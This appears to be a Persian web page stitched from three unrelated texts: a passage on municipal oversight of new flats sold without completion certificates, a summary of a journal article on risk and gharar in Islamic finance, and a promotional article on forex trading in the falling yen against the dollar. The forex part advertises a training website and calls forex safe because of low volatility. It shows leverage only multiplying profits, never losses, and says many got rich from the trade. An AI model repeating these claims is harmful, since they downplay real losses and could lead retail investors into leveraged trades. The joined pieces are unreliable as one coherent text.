در وهله سوم امکان استتار، فرار، نجات، یا پناه گرفتن در شرایط بروز سوانح یا جنگ، در انطباق با مبحث بیست و یکم مقررات ملی ساختمان، برای افراد فراهم باشد؛ و در وهله بعد در همه ساختمان‌های موجود که توسط مقام قانونی مسوول، به علت عدم هماهنگی با این مقررات، برای ساکنان، استفاده‌کنندگان و سایر مردم، غیرایمن، غیر بهداشتی و خطرناک تشخیص داده شوند، شهرداری‌ها و سایر مراجع صدور پروانه ساختمان باید با تعیین مهلت مقرر در مورد تعمیرات، تغییرات و تعبیه تجهیزات لازم به دارنده ملک و بنا دستور اقدام دهد و تا اصلاح آن پیگیری‌های لازم را انجام دهد.

اگر چه مسوولیت بهره‌برداری وفروش غیرمجاز واحد‌های مسکونی فاقد پایان کار براساس محتوا و استنباط از این قوانین بر عهده شهرداری به‌عنوان نهاد حاکمیتی شهری است، اما از آنجا که در متن قانون این مسوولیت به صراحت بیان نشده است شهرداری‌ها می‌توانند از انجام وظیفه بازرسی و شناسایی این گروه از واحد‌های مسکونی و سازنده‌های آن‌ها خودداری کنند.

این در حالی است که تنها نهادی که می‌تواند پروسه سالم‌فروشی آپارتمان‌های تازه‌ساز را تضمین کند، شهرداری‌ها هستند؛ چراکه آمار مربوط به جزئیات همه پروانه‌های ساختمانی صادر شده در اختیار شهرداری‌ها قرار داد.

در صورت ورود این نهاد حاکمیت شهری به پروسه سالم‌فروشی واحد‌های تازه‌ساز، مدیریت شهری می‌تواند با اعزام بازرسان به محل ساخت وساز‌هایی که اعتبار پروانه ساختمانی آن‌ها به اتمام رسیده، اما سازنده هنوز برای دریافت پایان کار مراجعه نکرده است وضعیت این پروژه‌ها را به لحاظ احتمال فروش و بهره‌برداری غیرمجاز قبل از دریافت گواهی عدم خلاف وپایان کار مشخص کرده و برخورد‌های لازم را در این‌باره انجام دهد و سازنده متخلف را تحت پیگرد قانونی قرار دهد.

همچنین می‌توان سازوکاری را به‌صورت قانونی مصوب کرد که ضریبی از بدهی سازنده به‌عنوان جریمه بهره‌برداری غیرمجاز از ساختمان‌های تازه‌ساز تعیین شود و از این طریق بازدارندگی لازم به منظور جلوگیری از انتقال طلب سازنده به خریدار ایجاد شود. با توجه به اینکه هم‌اکنون بخش عمده‌ای از پرونده‌های قضایی مربوط به دعاوی ملکی است، قوه‌قضائیه نیز می‌تواند برای ارائه طرح یا لایحه‌ای از سوی مجلس و دولت برای وضع قوانین صریح در این باره وارد عمل شود.

به خصوص آنکه این موضوع در دوره‌هایی مشابه وضعیت فعلی که بازار مسکن با جهش قیمت مواجه شده وسازنده‌ها سعی دارند واحد‌های مسکونی خود را به سرعت به فروش برسانند، تشدید می‌شود.

بررسی رابطه ریسک و غرر در بازارهای مالی اسلامی

فصلنامه اقتصاد اسلامی در شماره 5۹ خود مقاله‌ای را تحت عنوان «بررسي رابطه ريسك و غرر در بازارهاي مالي اسلامي» به قلم سيدعباس موسويان و محمد عليزاده اصل منتشر کرده است.

در چکیده این مقاله می‌خوانیم:

«رشد اقتصادی و انجام فعالیت‌های سرمایه‌گذاری بدون قبول ریسک امکان‌پذیر نیست. از طرف دیگر، ریسک بیش از حد، جزو موانع سرمایه‌گذاری است و می‌تواند به کاهش رشد اقتصادی و کمبود انگیزه‌ها برای مشارکت افراد در زمینه‌های متنوع سرمایه‌گذاری بیانجامد. یکی از قواعد مورد اهتمام دین اسلام برای جلوگیری از متزلزل‌شدن قراردادهای میان افراد و پرهیز از پذیرش ریسک‌های متهورانه و بیش از حد، قاعده ممنوعیت معاملات غرری است. غرر به معنای نوعی عدم اطمینان در ارکان قرارداد است که یکی از طرفین معامله را در معرض خطر قرار دهد. این مفهوم شباهت فراوانی با مفهوم ریسک مالی دارد که نوعی عدم اطمینان مربوط به آینده یک دارایی است.
پژوهش پیش رو از نوعی روش توصیفی- تحلیلی برای تبیین رابطه غرر و ریسک استفاده کرده است، اگر ریسک مالی، تغییرپذیری در بازدهی یا احتمال وقوع بازدهی متفاوت از بازده مورد انتظار تعریف شود، رابطه میان ریسک استاندارد مالی و غرر، متباین خواهد بود؛ اما اگر ریسک را به معنای عدم اطمینان در سرمایه‌گذاری بدانیم، آنگاه رابطه میان ریسک و غرر، عام و خاص مطلق خواهد بود»

علاقمندان می‌توانند این مقاله را از این نشانی دریافت نمایند.

واکنش معامله گران فارکس به کاهش ین در برابر دلار

ارزش ین ژاپن در برابر دلار به پایین ترین سطح ممکن در دو دهه اخیر رسیده است. کاهش قیمت ین در برابر دلار به معنای افزایش قیمت در جفت ارز دلار به ین است که فرصت های معاملاتی مناسبی را برای معامله گران بزرگترین بازار مالی دنیا یعنی فارکس به وجود آورده است.

فارکس و جفت ارز دلار / ین

با کاهش ارزش ین در بازار فارکس، جفت ارز دلار به ین که با نماد USD/JPY نشان داده می شود، با افزایش قیمت همراه می شود. در بازار غیرمتمرکز فارکس، ارز کشورهای مختلف به صورت جفتی با هم معامله می شود. فارکس ویژگی های منحصر به فردی دارد که از میان آنها می توان به دوطرفه بودن بازار اشاره کرد. دوطرفه بودن به این معنی است که معامله گر در صورت افزایش قیمت ها با خرید جفت ارزها سود می کند و در صورت کاهش قیمت ها با فروش جفت ارزها سود خود را از بازار می گیرد. جفت ارز دلار/ ین یکی از مهمترین جفت ارزهای ماژور در فارکس است که بسیاری از معامله گران در دنیا به انجام معاملات در آن علاقه دارند.

• وقتی که جفت ارز USD/JPY را می خرید یعنی دلار را خریده و ین ژاپن را می فروشید.
• وقتی هم که جفت ارز USD/JPY را می فروشید یعنی دلار را فروخته و ین را خریده اید.

فرصت های معاملاتی در جفت ارز دلار / ین

با کاهش ارزش ین در برابر دلار در ۵ ماه گذشته فرصت های خرید بسیاری برای معامله گران فارکس فراهم شده است. معامله گران حرفه ای با استفاده از دانش تکنیکال و فاندامنتال فارکس و با بررسی شرایط اقتصادی ژاپن و آمریکا توانسته اند سود زیادی از این بازار به دست بیاورند. البته حالا که از این موضوع صحبت می کنیم این فرصت های معاملاتی به انتها نزدیک شده اند و روند قیمتی در جفت ارز USD/JPY کمی نزولی شده است.

همان طور که گفتیم کاهش یا افزایش قیمت ها، باعث ایجاد فرصت های معاملاتی در فارکس می شوند. در این میان مسئله مهم پیش بینی درست زمان و مقدار این کاهش و افزایش قیمت ها در فارکس است. آموزش های بسیاری در فضای مجازی وجود دارند که سعی در آموزش مفاهیم مهم فارکس دارند اما تشخیص میزان اعتبار این آموزش ها برای افراد غیرمتخصص مشکل است. در این میان آموزش رایگان فارکس، که توسط یک نهاد معتبر آموزش فارکس و بورس ارائه می شود، مطالب بسیار مهمی درباره رمز و راز موفقیت در فارکس و نحوه درست معامله کردن بیان شده است و اگر فرصت سر زدن و جستجو در آن را داشته باشید می توانید به جای مطالعه کتاب های آموزشی از مطالب خلاصه و کاربردی این سایت معتبر استفاده کنید.

این آموزش های معتبر رایگان فارکس برای افراد زیر، مناسب هستند:

• کسانی که هیچ اطلاعاتی از بازار جفت ارزهای خارجی ندارند و می خواهند سرمایه گذاری در فارکس را شروع کنند.
• کسانی که اطلاعات اولیه و مفاهیم پایه فارکس را می دانند و می خواهند با نحوه خرید و فروش در این بازار آشنا شوند.
• کسانی که در حال معامله کردن با حسابهای آزمایشی در فارکس هستند و می خواهند تکنیک‌های معامله گری را به خوبی یاد بگیرند.
• کسانی که معاملات موفقی در فارکس انجام نداده اند اما قصد دارند در آینده با استفاده از آموزشهای اصولی و کاربردی، ضرر خود را جبران کرده و سود مناسبی از بازار تبادل ارزها به دست بیاورند.

تاثیر کاهش ارزش ین در برابر دلار در ورود به بازار فارکس

این روزها افزایش ارزش دلار همراه با سیاست های بانک مرکزی آمریکا باعث شده تا ارزش ارز سایر کشورها و دارایی های مالی نسبت به دلار کمتر شده و در یک روند نزولی قرار بگیرند. از میان ارزهای مختلف، ین ژاپن بیشترین کاهش قیمت را در برابر دلار داشته است. از آنجایی که کاهش قیمت در جفت ارز ین به دلار مساوی افزایش قیمت در جفت ارز دلار به ین است، خریداران این جفت ارز در فارکس سود بسیاری به دست آورده اند. اگر دقیقا متوجه رابطه جفت ارزها با یکدیگر و کاهش و افزایش قیمت ها نشده اید، می توانید با مراجعه به وب سایت آموزش بورس به آدرس اینترنتی www. amoozesh-boors.com از این آموزش های رایگان فارکس برای بالا بردن سطح دانش تخصصی خود و کسب سود در این بازار استفاده کنید.

وجود فرصت های معاملاتی بسیار زیاد باعث شده تا روز به روز به علاقه مندان فارکس در اقصی نقاط دنیا و حتی ایران اضافه شود و نحوه ورود به فارکس و فعالیت در آن سوال افراد بسیاری باشد.

برای شروع سرمایه گذاری در فارکس باید ابتدا در این بازار حساب باز کنید. فارکس به بازار بین بانکی هم شهرت دارد چون بیشترین حجم معاملات در آن توسط بانکها و کمپانی های بزرگ صورت می گیرد. بنابراین اشخاص حقیقی که سرمایه گذاران شخصی به حساب می آیند باید از طریق یک شرکت واسطه وارد این بازار شوند تا بتوانیم از تغییرات قیمت در جفت ارزها سود کنند. بروکر فارکس شرکت واسطه‌ای است که افراد می توانند با پیدا کردن بهترین نوع آن، یک سرمایه گذاری مطمئن را شروع کنند. یک بروکر وظایف مشخصی دارد و شما به عنوان یک سرمایه گذار یا معامله گر باید این وظایف را بدانید تا بتوانید بهترین بروکر را برای خود انتخاب کنید. اهمیت انتخاب بروکر مناسب فارکس آن قدر زیاد است که بهتر است زمان مناسبی را به آن اختصاص دهید تا بتوانید با نقش بروکر در فارکس آشنا شده و معتبرترین بروکر را انتخاب کنید.

نحوه سود گرفتن معامله گران از افزایش قیمت در جفت ارز دلار/ ین

اگر قیمت یا نرخ تبادل در نماد USD/JPY برابر با عدد 135.400 باشد به این معنی است که ارزش یک دلار معادل 135.400 ین است. جالب است بدانید که قیمت این جفت ارز در ابتدای سال 2022 میلادی برابر با 115.200 بود. این افزایش قیمت تقریبا 18 درصدی سود سرشاری را نصیب معامله‌گرانی کرده است که توانسته اند به درستی روند قیمت را پیشبینی کنند. شاید با خود بگویید 18 درصد سود کمی است یا 18 درصد سود نسبت به سرمایه کم من، خیلی ناچیز است. در ادامه به شما نشان می دهیم که این سود چطور می تواند گسترش پیدا کند.

اعتبار بازار فارکس به علت نوسانات کم قیمتی در آن است. اگر بخواهیم این بازار را با بازار رمزارزها مقایسه کنیم بهتر متوجه این موضوع خواهید شد. یک ارز دیجیتال ممکن است در یک روز بیشتر از 50 درصد افت قیمت داشته باشد اما در بازار فارکس میزان نوسان بسیار کم است بنابراین احتمال از دست رفتن سرمایه افراد به صورت ناگهانی بسیار کمتر است.

خب نوسان کم به معنای تغییر کمتر قیمت است و احتمالا با خود می گویید که درست است که با نوسان کم، کمتر ضرر می کنیم اما میزان سودمان هم کمتر خواهد شد.

فکر شما کاملا درست است اما همه چیز برای کسب سود در فارکس از پیش مهیا شده است. در این بازار ابزاری به نام لوریج (Leverage) یا ضریب اهرمی وجود دارد که به شما اجازه می دهد با مبلغی بیشتر از میزان سرمایه اولیه خود معامله کنید تا بتوانید سود بیشتری به دست بیاورید. برای این که با ساختار معامله کردن در فارکس و استفاده از لوریج آشنا شوید، پیشنهاد می کنیم به آموزش رایگان فارکس ارائه شده در وب سایت آموزش بورس مراجعه کنید چون تمام ریسک های معامله خبر جزئیات معامله کردن در فارکس در این سایت به شکل قابل فهم و ساده توضیح داده شده است.

اگر فرض کنیم شما با 100 دلار سرمایه از لوریج 10 استفاده کرده و در معامله خود 10 درصد سود کرده باشید، سود شما بدون استفاده از لوریج به میزان 10 دلار است اما با در نظر گرفتن لوریج سود شما برابر با 100 دلار خواهد بود. به همین راحتی لوریج 10 میزان سود به دست آمده شما را 10 برابر کرد.

نحوه سود گرفتن معامله گران از کاهش قیمت در جفت ارز ین / دلار

اگر دقت کرده باشید در قسمت قبلی از افزایش قیمت دلار/ ین صحبت کردیم. اگر جای نمادها را با هم عوض کنیم به کاهش قیمت در نماد ین/ دلار می رسیم.

نماد USD/JPY جز جفت ارزهای اصلی در فارکس است که حجم معاملات بالایی دارد. به همین دلیل خبر مبنی بر کاهش ارزش ین، به معنای افزایش قیمت در جفت ارز USD/JPY است. برخی معامله‌گران ترجیح می دهند در نماد ین/ دلار معامله کنند تا با کاهش قیمت‌ها در فارکس سود به دست بیاورند.

در این روش آنها با پیشبینی کاهش ارزش ین، در جفت ارز JPY/USD سفارش فروش باز می کنند. در واقع آنها با استفاده از پلتفرم های معاملاتی بروکر خود بدون داشتن مالکیت قبلی روی این جفت ارز، پوزیشن فروش می گیرند تا زمانی که قیمت ها کاهش یافت، این جفت ارز را خریده و معامله خود را ببندند. در گذشته هم بسیاری از تاجران محصولاتی که به دست آنها نرسیده بود را پیش فروش می‌کردند. آنها طی قراردادی کالای مورد نظر را با قیمتی مشخص به مردم می فروختند و زمانی که قیمت کالای مورد نظر کم میشد آن را می خریدند و به مشتری تحویل می دادند. این همان اتفاقی است که در معاملات فروش فارکس اتفاق می افتد.

شما بدون داشتن دارایی و در قیمت بالا معامله فروش باز می کنید و زمانی که قیمت ها کم شد معامله خود را می بندید و بروکر به صورت خودکار جفت ارز مورد نظر را می خرد. در این حالت شما با باز و بسته کردن سفارش فروش در زمان های مناسب از تفاوت قیمت بالای فروش و قیمت پایین خرید، سود به دست می آورید. در مورد کاهش قیمت جفت ارز ین به دلار هم همین اتفاق افتاده و افراد بسیاری نیز از این طریق ثروتمند شده اند.

دلیل کاهش ارزش ین در برابر دلار

کاهش نرخ رشد اقتصاد جهانی باعث شده تا کشورها سیاست های مختلفی برای افزایش ارزش ارز کشور خود در نظر بگیرند. کشور آمریکا با بیشتر کردن نرخ بهره باعث بیشتر شدن ارزش دلار آمریکا شده است و همین نکته باعث شده که ارزش سایر ارزها در برابر دلار آمریکا کاهش پیدا کند. یکی از دلایل اصلی این شرایط اقتصادی هم جنگ روسیه و اوکراین است که اوضاع جهان را به هم ریخته است. از طرف دیگر بانک مرکزی ژاپن (BoJ) میزان نرخ بهره را تغییر نداده و سعی می کند مقدار آن را در همان رقم 0.1- نگه دارد. البته این نرخ بهره مربوط به کوتاه مدت است. نرخ بهره ژاپن در بلند مدت صفر درصد است. هر چند این اتفاق باعث کاهش ارزش ین نسبت به دلار شده اما سیاستمداران ژاپنی معتقدند در بلندمدت این اتفاق به نفع ژاپن تمام خواهد شد. به طور کلی می توان دلایل کاهش ارزش ین در برابر دلار را در موارد زیر خلاصه کرد:

• نرخ بهره آمریکا افزایش یافته و احتمال افزایش بیشتر آن در آینده باعث شده تا در حال حاضر هم دلار ارزش بیشتری پیدا کند.
• در سال های اخیر اقتصاد آمریکا نسبت به ژاپن رشد بیشتری کرده است.
• مخارج دولت آمریکا در حال افزایش است در حالی که ژاپن با معضل کسری بودجه روبه رو است.
• افزایش قیمت انرژی باعث کاهش ارزش ین شده است چون ژاپن وارد کننده نفت است.

در 15 ماه گذشته ارزش دلار آمریکا بیش از 20 درصد نسبت به ین ژاپن افزایش یافته است و تقریبا نیمی از این حرکت افزایشی قیمت در طی چند هفته گذشته اتفاق افتاده است. کاهش ارزش ین با توجه به عوامل زیر که مربوط به اقتصاد کلان هستند بررسی می شود.

• تغییرات نسبی در سرعت رشد اقتصادی
• تغییرات نسبی در سیاست نرخ بهره مورد انتظار
• تغییرات نسبی در سیاست های مخارج دولت
• تغییرات نسبی در رشد صادرات
• تغییرات نسبی در ارزیابی ریسک

کاهش یا افزایش ارزش ارز کشورها به فاکتورهای مختلفی وابسته است و معامله‌گران حرفه‌ای می‌توانند با استفاده از دانش و سبک معاملاتی خود بهترین معاملات را در هر دو حالت انجام دهند. در چند ماه اخیر، معامله گران فارکس از افزایش قیمت جفت ارز دلار به ین سود به دست آورده اند و اگر زمانی روند این جفت ارز با کاهش قیمت همراه شود این معامله گران خبره می توانند با کاهش قیمت هم سود کنند.